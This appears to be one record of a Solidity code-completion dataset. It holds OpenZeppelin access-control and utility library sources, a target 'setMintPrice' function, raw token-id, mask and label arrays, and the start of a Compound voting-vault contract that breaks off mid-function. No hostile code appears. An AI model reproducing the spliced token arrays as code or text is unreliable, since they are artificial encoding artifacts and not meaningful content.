* * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/IAccessControlEnumerable.sol) pragma solidity ^0.8.0; import "./IAccessControl.sol"; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerable is IAccessControl { /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) external view returns (address); /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; }
Set's the mint price in case the eth price fluctuates too much/
function setMintPrice(uint onePrice, uint twoPrice, uint threePrice, uint fourPrice) public onlyOwner { oneMintPrice = onePrice; twoMintPrice = twoPrice; threeMintPrice = threePrice; fourMintPrice = fourPrice; }
1,347,187
[ 1, 694, 1807, 326, 312, 474, 6205, 316, 648, 326, 13750, 6205, 1183, 853, 89, 815, 4885, 9816, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 15430, 474, 5147, 12, 11890, 1245, 5147, 16, 2254, 2795, 5147, 16, 2254, 8925, 5147, 16, 2254, 12792, 5147, 13, 1071, 1338, 5541, 288, 203, 3639, 1245, 49, 474, 5147, 273, 1245, 5147, 31, 203, 3639, 2795, 49, 474, 5147, 273, 2795, 5147, 31, 203, 3639, 8925, 49, 474, 5147, 273, 8925, 5147, 31, 203, 3639, 12792, 49, 474, 5147, 273, 12792, 5147, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.3; import "../libraries/History.sol"; import "../libraries/Storage.sol"; import "../interfaces/IERC20.sol"; import "../interfaces/ICToken.sol"; import "../interfaces/IComptroller.sol"; import "../interfaces/IVotingVault.sol"; import "../libraries/CompoundVaultStorage.sol"; abstract contract AbstractCompoundVault is IVotingVault { // bring in libraries using History for *; using Storage for *; /************************************************ * STORAGE UTILITIES ***********************************************/ /// Note: We utilize the Storage.sol library to avoid storage collisions /// Thus there are no storage variables in this contract directly. /// Note: "TWAR" stands for Time Weighted Average (Borrow) Rate and functions similar to a TWAP /// Names we use for querying for Storage variables via Storage.sol /// (uint256) lastUpdatedAt - timestamp when our TWAR was last updated string public constant LAST_UPDATED_AT = "lastUpdatedAt"; /// twarSnapshot[] twarSnapshots - array of twarSnapshot structs string public constant TWAR_SNAPSHOTS = "twarSnapshots"; /// (uint256) twarIndex - current index in twarSnapshots which we will us to find the next index to overwrite string public constant TWAR_INDEX = "twarIndex"; // (uint256) - latest multiplier to use per unit of underlying, scaled by a factor of 10^18 /// e.g a multiplier of 0.97 would be represented as 0.97 * 10^18 string public constant TWAR_MULTIPLIER = "twarMultiplier"; /************************************************ * IMMUTABLES & CONSTANTS ***********************************************/ /// @notice underlying governance token IERC20 public immutable underlying; /// @notice cToken of the governance token ICToken public immutable cToken; /// @notice minimum time delay between updating TWAR uint256 public immutable period; /// @notice how far (in blocks) back we define stale blocks to be uint256 public immutable staleBlockLag; /// @notice the max length of the twarSnapshots array uint256 public immutable twarSnapshotsMaxLength; /// @notice number of blocks per year, based on avg block time of 14 seconds uint256 public constant BLOCKS_PER_YEAR = 2252857; /************************************************ * EVENTS & MODIFIERS ***********************************************/ /// @notice emitted on vote power change event VoteChange(address indexed from, address indexed to, int256 amount); /// @notice emitted on TWAR multiplier change event MultiplierChanged(uint256 oldMultiplier, uint256 newMultiplier); /** * @notice constructor that sets the immutables * @param _underlying the underlying governance token * @param _cToken the cToken of the governance token * @param comptroller the address of the Compound Comptroller * @param _period the minimum delay period between sampling the borrow rate * @param _staleBlockLag stale block lag in units of blocks * @param _twarSnapshotsMaxLength the max length of the twarSnapshots array */ constructor( IERC20 _underlying, ICToken _cToken, IComptroller comptroller, uint256 _period, uint256 _staleBlockLag, uint256 _twarSnapshotsMaxLength ) { underlying = _underlying; cToken = _cToken; period = _period; staleBlockLag = _staleBlockLag; twarSnapshotsMaxLength = _twarSnapshotsMaxLength; // In order to interact with compound, we must first enter the market // See https://compound.finance/docs/comptroller#enter-markets address[] memory cTokens = new address[](1); cTokens[0] = address(_cToken); uint[] memory responses = comptroller.enterMarkets(cTokens); require(responses[0] == 0, "Couldn't enter market for cToken"); } /************************************************ * VAULT LOGIC ***********************************************/ /** * @notice A single function endpoint for loading storage for deposits * @return returns a storage mapping which can be used to look up deposit data */ function _deposits() internal pure returns (mapping(address => Storage.AddressUint) storage) { // This call returns a storage mapping with a unique non overwrite-able storage location // which can be persisted through upgrades, even if they change storage layout return (Storage.mappingAddressToPackedAddressUint("deposits")); } /** * @notice Getter for deposits mapping * @param who the user to query the balance of * @return (address delegated to, amount of deposit in cToken) */ function deposits(address who) external view returns (address, uint96) { Storage.AddressUint storage userData = _deposits()[who]; return (userData.who, userData.amount); } /** * @notice Returns the historical cToken balances tracker * @return A struct which can push to and find items in block indexed storage */ function _cTokenBalances() internal pure returns (History.HistoricalBalances memory) { // This call returns a storage mapping with a unique non overwrite-able storage location // which can be persisted through upgrades, even if they change storage layout return (History.load("cTokenBalances")); } /** * @notice Attempts to load the voting power of a user * @param user The address we want to load the voting power of * @param blockNumber the block number we want the user's voting power at * @return the number of votes */ function queryVotePower( address user, uint256 blockNumber, bytes calldata ) external override returns (uint256) { // Get our reference to historical data History.HistoricalBalances memory cTokenBalances = _cTokenBalances(); // Find the historical data and clear everything more than 'staleBlockLag' into the past uint256 cTokenBalance = cTokenBalances.findAndClear(user, blockNumber, block.number - staleBlockLag); return _calculateCTokenVotingPower(cTokenBalance); } /** * @notice Loads the voting power of a user without changing state * @param user The address we want to load the voting power of * @param blockNumber the block number we want the user's voting power at * @return the number of votes */ function queryVotePowerView(address user, uint256 blockNumber) external returns (uint256) { // Get our reference to historical data History.HistoricalBalances memory cTokenBalances = _cTokenBalances(); // Find the historical datum uint256 cTokenBalance = cTokenBalances.find(user, blockNumber); return _calculateCTokenVotingPower(cTokenBalance); } /** * @notice Deposits underlying amount in Compound and delegates voting power to firstDelegation * @param fundedAccount the address to credit this deposit to * @param amount The amount in underlying to deposit to compound * @param firstDelegation first delegation address * @dev requires that user has already called approve() on this contract for specified amount or more */ function deposit(address fundedAccount, uint256 